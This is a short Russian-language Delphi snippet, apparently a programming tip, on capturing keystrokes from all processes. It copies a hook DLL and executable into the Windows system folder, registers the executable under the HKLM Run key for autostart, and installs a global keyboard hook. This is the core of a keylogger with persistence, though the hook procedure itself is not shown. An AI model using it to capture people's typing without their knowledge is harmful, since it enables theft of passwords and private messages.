Как отловить нажатия клавиш для всех процессов в системе

Code:

@echo off

copy HookAgnt.dll %windir%\system

copy kbdhook.exe %windir%\system

start HookAgnt.reg

Code:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"kbdhook"="kbdhook.exe"

Code:

program cwbhook;

uses

Windows, Dialogs;

var

hinstDLL: HINST;

hkprcKeyboard: TFNHookProc;

msg: TMsg;

begin

hinstDLL := LoadLibrary('HookAgnt.dll');

hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');

SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);

repeat

until

   not GetMessage(msg, 0, 0, 0);

end.